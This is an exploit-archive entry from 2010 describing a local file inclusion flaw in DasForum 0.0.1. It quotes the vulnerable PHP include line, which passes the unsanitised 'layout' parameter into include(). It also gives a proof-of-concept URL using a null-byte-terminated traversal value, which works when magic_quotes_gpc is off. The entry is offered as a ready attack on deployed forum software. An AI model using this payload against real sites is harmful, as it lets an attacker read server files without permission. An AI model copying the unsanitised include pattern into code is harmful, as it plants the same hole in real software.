[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : DasForum (layout) Local File Inclusion Exploit
# Published : 2010-01-16
# Author : cr4wl3r
# Previous Title : RoseOnlineCMS <= 3 B1 Remote Login Bypass Exploit
# Next Title : eWebeditor ASP Version Multiple Vulnerabilities 


#'#/
                            (-.-)
   --------------------oOO---(_)---OOo-------------------
   |   DasForum (layout) Local File Inclusion Exploit   |
   |      (works only with magic_quotes_gpc = off)      |
   ------------------------------------------------------
[!] Discovered: cr4wl3r <cr4wl3r[!]linuxmail.org>
[!] Download: http://mirror.vocabbuilder.net/savannah/dasforum/
[!] Version: 0.0.1
[!] Date: 15.01.2010
[!] Remote: yes


[!] Vulnerability Code [bbcode_inputs.php] :

    include("layouts/".$layout."/bbcode_inputs.php");


[!] PoC:

    [DasForum_path]/bbcode_inputs.php?layout=[LFI%00]